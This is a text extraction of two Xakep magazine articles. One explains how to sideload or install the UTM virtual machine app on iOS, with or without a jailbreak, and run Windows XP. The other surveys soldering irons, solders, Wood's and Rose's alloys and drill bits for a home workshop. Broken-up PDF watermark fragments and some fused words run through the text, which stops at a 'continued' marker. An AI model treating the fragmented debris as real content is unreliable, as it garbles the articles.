ТРЮКИ

w Click

to

 

 

 

o m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-x

 

n

e

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ИСПОЛЬЗУЕМ ВИРТУАЛКУ UTM ДЛЯ УСТАНОВКИ WINDOWS НА IOS

Ты хотел бы поиграть в игры под Windows на своем айфоне? Или запустить macOS на iPad? А может, ты мечтаешь поставить на эти устройства Android или Linux? Это возможно! Скажешь, мы сошли с ума? А вот и нет: в iOS можно создавать виртуальные машины с разными операционными системами. Для этого разработано специальное приложение под названием UTM. Сегодня мы поговорим о том, как установить эту программу на твой iPhone или iPad и как ее использовать.

ЧТО ТАКОЕ UTM?

Валентин Холмогоров

Ведущий редактор valentin@holmogorov.ru

К виртуалкам вроде VirtualBox или VMware все уже давным-давно привыкли: подобные инструменты существуют для большинства современных «настольных» операционок. В iOS до недавнего времени средств виртуализации не было и в помине (по крайней мере, широкая публика о них ничего не знала). И вот — свершилось: для мобильных устройств Apple наконец-то появился полноценный инструмент виртуализации, поддерживающий к тому же большое число процессорных архитектур.

UTM может работать без джейлбрейка на iOS 11, 12 и 13, а также на устройствах с чипом А12 под управлением операционной системы версий 14.2 и 14.3. При этом придется использовать сертификат разработчика, поскольку UTM устанавливается не из официального магазина App Store, а из стороннего хранилища AltStore. Как известно, бесплатные сертификаты разработчиков для iOS должны переподписываться каждые семь дней, и AltStore автоматизирует этот процесс. Джейлбрейк необходим только для запуска приложения на iOS 14 старших версий, при этом сами создатели UTM рекомендуют использовать Jitterbug или AltJIT для установки приложения.

Виртуальная машина UTM поддерживает более 30 процессоров, включая х86_64, RISC-V и ARM64. В основе UTM лежит код QEMU. Поскольку в устройствах iOS отсутствует поддержка аппаратной виртуализации, вместо ускорителя KVM разработчики использовали TCG, который выполняет динамическую трансляцию кода и JIT-компиляцию. На практике это означает, что даже ARMкод для запуска в UTM должен предварительно компилироваться в JIT, а это заметно снижает производительность приложений. Кроме того, поскольку виртуализация GPU не поддерживается, отсутствуют DirectX и OpenGL, что ограничивает запуск большинства современных игр под Windows. Однако приложения и игры, не требующие поддержки графики, под этим эмулятором пойдут.

УСТАНОВКА

На устройство с джейлбрейком

Если на твоем iPhone или iPad имеется джейлбрейк, установка UTM не представляет ни малейших сложностей. Для начала необходимо скачать и поставить на устройство приложение AppSync Uni ed, которое можно получить из репозитория https://cydia.akemi.ai. Для этого открой Cydia, нажми кнопку «Источники» в нижней части окна, затем надпись «Правка» в правом верхнем углу. Теперь надпись «Добавить» слева вверху — введи URL https://cydia.akemi.ai в открывшемся окне и нажми «Добавить». После этого в списке источников перейди в только что подключенный репозиторий

Karen’s Repo и установи из него приложение AppSync Uni ed.

Затем аналогичным образом подключи в Cydia репозиторий https:// cydia.getutm.app/ и установи из него само приложение UTM.

Установка AppSync Uni ed и UTM

На устройство без джейлбрейка

Установка UTM в iOS без джейлбрейка выглядит чуть сложнее, но только на первый взгляд. Потребуется установить на твоем айфоне AltStore. Делается это вкратце так: установи на компьютере последние версии iTunes и iCloud, затем скачай с сайта altstore.io программу AltServer — для ее использования необходима как минимум Windows 10.

Подключи iPhone к компьютеру, закрой iTunes, щелкни в системном трее на значке AltServer и выбери Install AltStore → Имя твоего устройства. AltStore попросит тебя ввести данные Aple ID — для этого лучше зарегистрировать новую учетку, причем в популярных инструкциях советуют указывать в качестве локации острова Херд и Макдональд, остров Норфолк или Южная Георгия и Южные Сандвичевы острова.

Установка AltStore

После этого на iPhone нужно открыть настройки, перейти в раздел «Основные → Профили и управление устройством → твой Apple ID → Доверять». Останется только запустить AltStore, открыть окно Settings, выбрать Sign in with Apple ID,

после чего следует ввести адрес электронной почты, привязанный к созданному ранее Apple ID, и пароль.

Теперь в настройках AltStore нужно подключить репозиторий https://alt. getutm.app и установить UTM оттуда. В качестве альтернативного варианта можно сначала скачать UTM в виде файла .ipa с GitHub на компьютер, а потом установить его на мобильное устройство с помощью AltStore, не забыв подписать его цифровой подписью.

СОЗДАНИЕ ВИРТУАЛЬНОЙ МАШИНЫ

Если ты когда-либо пользовался VirtualBox, создание новой виртуальной машины в UTM не вызовет у тебя никаких затруднений. После запуска приложения нажми на плюсик в правом верхнем углу экрана. В поле Name введи произвольное имя виртуальной машины, в списке Architecture выбери архитектуру процессора из предложенных вариантов. С полем System чуть сложнее: QEMU, лежащий в основе UTM, эмулирует не только процессор, но и целую аппаратную подсистему на его основе. Список поддерживаемых QEMU систем и отображается в этом меню. В большинстве случаев можно не менять предложенный по умолчанию вариант: он оптимален для выбранной архитектуры процессора.

Выбери объем памяти для виртуальной машины в меню Memory (он, естественно, не может превышать доступный объем оперативки на самом устройстве). Наконец, в списке Setup Drives/Images нужно настроить диск, с которого будет загружаться твоя виртуальная машина. UTM поддерживает формат

QCOW2.

Меню Image Location — это не расположение файла образа диска, как можно было бы подумать, а способ монтирования образа. Для эмуляции компьютера рекомендуется выбрать стандартный вариант IDE, для устройств ARM доступен вариант virtio. При желании ниже на этом же экране можно изменить предложенные по умолчанию настройки дисплея виртуалки и способы ввода — виртуальную клавиатуру и эмуляцию мыши.

Создание виртуальной машины в UTM

Когда настройка будет завершена, миниатюра виртуальной машины появится на главном экране приложения. Чтобы запустить ее, достаточно тапнуть на этом эскизе. Если к виртуалке, например, подцеплен образ диска с установленной ОС, начнется ее загрузка.

Виртуальная машина готова

УПРАВЛЕНИЕ ВИРТУАЛЬНОЙ МАШИНОЙ

В верхней части экрана работающей виртуальной машины имеется специальная панель, содержащая восемь кнопок. Первые три позволяют выключить, поставить на паузу или перезапустить виртуалку. Нажатие следующих по порядку кнопок разворачивает виртуальную машину на весь экран, открывает или, наоборот, прячет экранную клавиатуру, а также вызывает окно настроек портов и дисков виртуальной машины. Наконец, нажатием крайней правой кнопки можно убрать эту панель с экрана. Как видишь, ничего сложного — этого минимума инструментов вполне достаточно для того, чтобы управлять виртуалкой. Правда, на экране iPhone 7 кнопки выглядят мелковато, а вот на iPad, думаю, будут в самый раз.

ИСПОЛЬЗОВАНИЕ ГОТОВЫХ ОБРАЗОВ ВМ

На странице https://mac.getutm.app/gallery/ представлено несколько виртуальных машин UTM с уже установленной операционной системой. Среди них —

ArchLinux ARM, Debian 10.4, Mac OS 9.2.1 для PowerPC, ReactOS 0.4.14, Sun Solaris 9 для архитектуры SPARC и Ubuntu 14.04. Все остальные перечисленные на этом сайте ОС требуют дополнительной установки и наличия дистрибутива (как в случае с Windows). Я попытался открыть веб-страничку с соответствующим образом по ссылке со страницы https://mac.getutm.app/gallery/, скачать образ виртуальной машины на телефон и нажать на кнопку Open in UTM, но получил ошибку — ни одна из виртуалок таким образом на моем айфоне не запустилась.

Пришлось идти другим, более сложным путем: воспользоваться файловым менеджером Filza. Образ виртуальной машины скачивается с упомянутого выше сайта в виде ZIP-архива и сохраняется на айфоне в директорию \var\ mobile\documents. Содержащуюся в этом архиве папку нужно извлечь с помощью Filza и скопировать в папку \user\containers\data\ applications\utm\documents, где по умолчанию хранятся виртуальные машины UTM. После этого виртуалка появится в главном окне UTM и машину можно будет запустить тапом на ее миниатюре.

Виртуальная машина Sun Solaris на iPhone 7

Однако вариант с Filza годится, только если на твоем устройстве есть джейлбрейк, по-другому этот файловый менеджер ты установить не сможешь. Но есть альтернативный способ! Работает это так: скачиваем с сайта https://mac.getutm.app/gallery/ виртуальную машину на компьютер, распаковываем содержимое ZIP-архива и переносим его в какую-нибудь папку на Яндекс Диске. После этого нужно установить приложение Яндекс Диск на iPhone из официального App Store.

Теперь запускаем на телефоне стандартное приложение «Файлы», переходим на экран «Места» и передвигаем вправо переключатель «Яндекс.Диск», чтобы содержимое облачного диска отображалось в этом приложении. Переходим в папку, в которую мы сохранили виртуальную машину, долгим тапом копируем ее в буфер обмена, затем переходим в локацию «На iPhone → UTM» и еще одним долгим нажатием вставляем папку с виртуалкой в эту директорию. Чтобы немного ускорить процесс, можно сначала отыскать эту папку в приложении Яндекс Диск, нажать и удерживать ее значок, затем в нижней панели нажать кнопку «...» и выбрать в открывшемся меню пункт «Добавить в офлайн». Вуаля, наша виртуальная машина теперь доступна на главном экране UTM, можно запускать!

Установка виртуальной машины с помощью Яндекс Диска

УСТАНОВКА ОС ИЗ ДИСТРИБУТИВА

Напоследок я решил самостоятельно установить на виртуальную машину какую-нибудь операционную систему. Выбор пал на Windows XP: она меньше всего требовательна к ресурсам, а памяти в моем телефоне, прямо скажем, кот наплакал. С загрузочным образом я поступил в точности так же, как описывал выше: скопировал файл .iso на Яндекс Диск, а потом перенес его

впапку «На iPhone → UTM» в приложении «Файлы».

Уменя очень долго не получалось запустить установку — всякий раз виртуалка выдавала ошибку No bootable device, а сам процесс настройки на сайте производителя UTM практически никак не документирован, поэтому подходящей инструкции я не нашел. Победу удалось одержать после череды экспериментов. При создании виртуальной машины я выбирал этот образ

вокне Drives/Images, нажав + в правой верхней части экрана, затем нажимал кнопку Path, снова + и Import.

Подключение дистрибутива в UTM

Оказалось, что таким образом следует создавать виртуальный жесткий диск — нажав +, нужно воспользоваться кнопкой Create и затем ввести имя и объем диска. А съемный диск подключается хитрее: выбрав интерфейс IDE, нужно включить тумблер Removable. В разделе Drives/Images появится два диска — один созданный нами только что винчестер с заданным объемом и Removable Drive. Не забудь тапнуть по надписи Save в верхней части окна, иначе виртуальная машина не запомнит измененные настройки.

Подключение дистрибутива в UTM

После этого, запустив виртуальную машину, в панели управления нужно нажать на кнопку с изображением компакт-диска, затем тапнуть по названию съемного диска. Нажми кнопку Change и выбери образ диска с дистрибутивом в папке UTM на iPhone, после чего нажми Done справа вверху. Перезапусти виртуальную машину — установка операционной системы начнется автоматически.

Установка Windows XP в виртуальной машине

Результат экспериментов

Ура, мы установили винду на айфон!

ВЫВОДЫ

С помощью инструментов для различных операционных систем в составе UTM можно создавать общие папки в виртуалке и на хостовой ОС для перемещения и копирования файлов (найти их можно в том же разделе Gallery на сайте разработчика). Теоретически это позволяет поработать в виртуальной машине, скажем, в Microsoft O ce, а потом сохранить созданные документы на устройстве.

Но это теоретически. На практике же проект UTM чрезвычайно плохо документирован, операционная система в виртуальной машине жутко тормозит и лагает, а во время установки Windows XP я с десяток раз любовался на BSOD и перепробовал кучу дистрибутивов, пока наконец не нашел один рабочий. Да и сама виртуалка периодически вылетает с внутренней ошибкой, причины которой остаются тайной за семью печатями. Просто ошибка, и все.

Ой, ашипка!

Да, если в настройках виртуальной машины ты некорректно указал аппаратную конфигурацию, например выбрал объем памяти близкий к доступному объему оперативки твоего устройства, iOS просто молча закроет UTM безо всяких церемоний. Ни предупреждений, ни сообщений, вообще ничего.

Попутно я собрал огромную коллекцию скриншотов с BSOD’ами запущенной на виртуальной машине Windows XP, даже уловил некоторую закономерность: запускаем виртуалку с виндой, вставляем в айфон шнур зарядки, вытаскиваем шнур зарядки — BSOD. А иногда это случалось и вовсе без видимой причины. Последний раз я видел подобный глюкодром примерно 27 лет назад, когда Windows 95 на моей 486SX без каких-либо предупреждений валилась

в«синий экран» сама по себе примерно раз в полчаса.

Всухом остатке получается, что работать с текстами в онлайновом редакторе вроде O ce 365 или Google Docs на iPad намного удобнее и приятнее, чем городить огород с виртуальными машинами, а для игр на iPhone есть эмуляторы под iOS. Но я все же надеюсь, что со временем проект UTM будет доведен до ума, виртуальные машины станут работать стабильнее и быстрее,

а сам продукт снабдят подробной и понятной документацией.

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

GEEK

 

wClick

to

 

 

 

o m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ВЫБИРАЕМ ИНСТРУМЕНТЫ, ПРИБОРЫ И РАСХОДНИКИ ДЛЯ ДОМАШНЕЙ МАСТЕРСКОЙ

Если ты в курсе, за какую сторону паяльника держаться, знаешь, чем отличается припой от запоя, и понимаешь, для чего служит канифоль, поздравляем — ты электронщик. Самое время обустроить мастерскую, чтобы нужные инструменты всегда были под рукой. В этой статье подробно расскажем, что именно тебе понадобится, дадим ценные советы, какие приборы, материалы и расходники приобрести для домашней лаборатории.

Candidum duospirit@gmail.com

Эта статья рассчитана на читателя, уже знакомого с основами электроники, ее можно рассматривать как расширенный сборник тезисов. Если тебя заинтересовала электроника и ты задумался об организации мастерской, но не знаешь, что нужно приобрести в первую очередь, то эта статья для тебя. Начинающим, которые только хотят научиться паять, мы можем посоветовать сначала прочитать статью «Время паять! Подбираем инструменты и осваиваем искусство пай- ки».

ПАЯЛЬНИК

Про паяльники я уже писал в предыдущей статье, однако хочется добавить еще несколько вещей. Паяльники можно разделить на две категории — с медным и с никелированным жалом. В последнем случае оно необязательно будет медным. Паяльники с медным жалом могут быть как простейшие с нихромовым нагревателем, например ЭПСН, так и более навороченные с керамическим. В целом керамический нагреватель более надежный, но стоит дороже.

У паяльника с медным жалом есть одно неоспоримое преимущество: паять им проще, и в этом плане он очень хорош для обучения. На этом, пожалуй, преимущества заканчиваются (не считая цену). А вот недостатков у него гораздо больше, и почти все они связаны с тем, что медное жало надо время от времени подготавливать к работе, а именно подтачивать его и залуживать. Обычно это делают с помощью напильника: жалу придают желаемую форму (чаще всего напоминающую шлицевую отвертку), после чего сразу тщательно залуживают.

Заточенное и залуженное медное жало

Зачищать от нагара все жало не имеет смысла, достаточно обточить и залудить только рабочую поверхность. Однако со временем заточка будет портиться,

ажало обгорать: канифоль обугливается на жале, медь окисляется воздухом,

арабочая поверхность жала растворяется в припое (растворяется не то чтобы очень быстро, но заметно). Перегрев жала и использование агрессивных флюсов (ортофосфорная кислота, хлорид аммония, соляная кислота с хлоридом цинка) здорово ускоряют выгорание жала.

Обгоревшее жало

Если верить олдскульным советам, то жало лучше не обрабатывать напильником, а отковывать молотком, тогда заточка держится дольше. Но поскольку перед отковкой жало нужно обязательно вынуть из паяльника, то пользуются этим методом редко: из застарелого паяльника ЭПСН жало не так уж часто удается вынуть без фатальных последствий. В любом случае при активном использовании подтачивать его придется раз в пару дней.

А если все так плохо, в чем же удобство и простота? Да в том, что для подготовки к работе засорившегося и выгоревшего жала достаточно сделать два-три движения напильником, макнуть его в канифоль и припой. С никелевыми все хитрее, но об этом ниже.

Другой недостаток простых паяльников (не только с медным жалом) — это перегрев: от него и медные жала выгорают быстрее, и канифоль обугливается, и, что самое неприятное, дорожки от платы отслаиваются. Как с этим бороться? Проще всего правильно подбирать мощность паяльника под выполняемые работы. Для распайки мелочовки типа резисторов 0,125 Вт достаточно 25-ваттного паяльника, для более крупных деталей типа резисторов 2–5 Вт, силовых транзисторов и подобного уже нужно ватт сорок. А для ламповой техники и все пятьдесят с лишним.

Но такой подход не всегда удобен, поскольку часто приходится паять

имелочовку, и силовые элементы. Тут можно пойти на небольшую хитрость

иприколхозить к паяльнику простейшую регулировку мощности. Проще всего использовать диммер, можно и самый дешевый, так как мощность паяльника мизерная.

Аесли денег нет даже на пиво, можно (как мы в институтско-общажную бытность) использовать вместо диммера диод и параллельно ему — конденсатор. Диод без конденсатора слишком сильно снижает мощность, конденсатор без диода требуется достаточно большой емкости, а вот вместе они — то, что надо. Емкость конденсатора можно выбрать порядка 1–5 мкФ, в пару к нему подойдет диод 1N4007, найти и то и другое можно практически везде.

В общем и целом, если устранить перегрев, работать медным жалом легко

иприятно. Правда, в 2022 году колхозить регулировку мощности паяльнику можно только из любви к искусству или в очень суровых жизненных обстоятельствах.

Поэтому перейдем к актуальным решениям. Если ты планируешь паять регулярно, в том числе SMD-компоненты, то стоит сразу брать паяльник с никелированным жалом и регулировкой температуры. Регулировка позволяет и мелочовку не перегревать, и вжарить посильнее, например когда надо заменить электролиты на материнской плате, или паять шины в ламповых схемах. Поскольку никель не растворяется в припое, никелированные жала не надо подтачивать, поэтому жало может быть любой удобной формы и не будет деградировать.

Но есть здесь и свои нюансы: никелированное жало надо постоянно держать чистым, залуженным и смоченным припоем, в противном случае оно окислится и его придется лудить. А вот лудить никелированные жала гораздо сложнее, чем медные, и использовать напильник тут не вариант.

Никелированные жала рекомендуется чистить влажной губкой из вискозы. Смачивать губку лучше не водой, а глицерином, так она не высыхает и чистит лучше (глицерин работает как флюс). В запущенных случаях помогает активированная канифоль или активный паяльный жир, после чего жало нужно потереть о густо залуженную оплетку.

Вообще говоря, активные флюсы таким жалам не рекомендованы, но если этим делом не злоупотреблять, то и проблем не будет. В качестве паяльника могу порекомендовать GS90D, в нем используются сменные жала. Кроме того, паяльник имеет терморегулятор и солидный запас мощности — 90 Вт. Таким паяльником, просто меняя жала, можно и SMD припаять, и ламповый усилок собрать.

GS90D

Из минусов можно упомянуть разве что чересчур массивную ручку. Также стоит прикупить набор девятисотых жал для него, благо они достаточно дешевые.

Набор жал

ПАЯЛЬНАЯ СТАНЦИЯ

Если говорить о паяльных станциях, то можно посмотреть на один из клонов LUKEY, например такой.

Паяльная станция под девятисотые жала

Эта обойдется подороже, но бонусом к ней идет фен и подставка. Здесь также используются девятисотые жала. Еще удобнее паяльные станции с жалами T12, где жало, нагреватель и термодатчик собраны в виде единого девайса. Такое решение очень быстро разогревается, примерно за 30 с: очень удобно, и к этому быстро привыкаешь, как ко всему хорошему.

Паяльная станция под жала T12

Очень удобная штука, смело могу рекомендовать. Докупить еще пяток жал разного размера под разные задачи, и будет то, что надо. Лично мне пришлись по вкусу жала T12-BC2 и T12-BC3, первое под SMD, а второе для крупных деталей.

Набор жал T12

ПРИПОЙ

Припоев существует великое множество под разные задачи, однако чаще всего радиолюбители используют ПОС61 и ПОС63. ПОС расшифровывается как припой оловянно-свинцовый, а цифра — это процентное содержание олова. Это тот самый случай, когда следует поддержать отечественного производителя.

Покупая наш ПОС61, можно быть уверенным, что это именно ПОС61, а не ПОС40, кроме того, он дешевле. Почему на это стоит обратить внимание? Дело в том, что ПОС61 близок к эвтектике олово/свинец и потому застывает

вузком диапазоне температур. Тогда как, например, ПОС40 будет застывать

винтервале температур, причем сначала будет выкристаллизовываться чистый свинец, а в конце застынет эвтектика. На практике это неудобно тем, что, пока припой застывает, соединение нельзя шевелить, иначе оно будет непрочным.

ПОС40 застывает дольше и более чувствителен к шевелению спаиваемого соединения, это раздражает. Китайцы норовят подразбавить припой свинцом из соображений экономии, поэтому, покупая безымянные припои в хозмаге или на «Алиэкспрессе», легко нарваться именно на такой.

Укитайцев есть и нормальные припои, они обычно имеют синюю этикетку и стоят дороже нашего, соответствующего ГОСТ. Ниже фотографии плохих и хороших припоев. Начнем с плохих.

Плохой китайский припой 1

Плохой китайский припой 2

А теперь хорошие.

Хороший китайский припой

Хороший отечественный припой

Не пойми меня неправильно: паять-то можно любым припоем, но хорошим это делать приятнее и легче. Что же касается бессвинцовых припоев, то в домашней мастерской это бессмысленное пижонство. Единственное преимущество бессвинцового припоя — отсутствие в его составе вредного свинца, в остальном он уступает свинецсодержащим.

СПЛАВЫ ВУДА И РОЗЕ

Существует два любопытных сплава: Вуда и Розе. Интересны они тем, что плавятся ниже температуры кипения воды, при 60 и 94 градусах соответственно. В радиолюбительской практике они удобны для щадящего выпаивания больших SMD-микросхем: их банально наносят паяльником на выводы с избытком и, держа в расплавленном состоянии, демонтируют элемент.

После этого остается тщательно удалить оплеткой эти сплавы, и можно запаивать новый элемент. Как это делается, глянь на YouTube. Этот прием применяют, когда нужно выпаять массивный элемент из многослойной платы.

В сплаве Вуда 12,5% кадмия, поэтому он токсичен. Не ртуть, конечно, но тоже приятного мало: может вызвать рак. Сплавы Вуда и Розе содержат свинец, а он, как известно, совсем не витамин. Кроме того, там есть висмут. По идее, он тоже должен быть токсичен, однако у него плохо с биодоступностью, поэтому он лучше свинца, зато висмут немножко фонит. Короче, будь внимателен и осторожен.

В сети встречаются рекомендации лужения плат сплавами Вуда и Розе, однако делать этого не рекомендуется: с залуженных таким образом плат при силь- ном нагреве могут отваливаться детали. Об этом была неплохая статья на хабре.

СВЕРЛА

Казалось бы, а тут-то о чем писать? Сверла — они и в Африке сверла. Однако и тут есть нюанс. Стеклотекстолит очень мерзотный материал, он быстро тупит сверла, а когда приходится сверлить отверстия тоньше 0,8 мм, острота сверла становится очень важна.

И тут нам на помощь приходят твердосплавные сверла. Стеклотекстолит им нипочем, однако они очень хрупкие. Закупаться стоит с запасом, благо стоят они недорого.

Набор твердосплавных сверл

Продолжение статьи

Соседние файлы в папке журнал хакер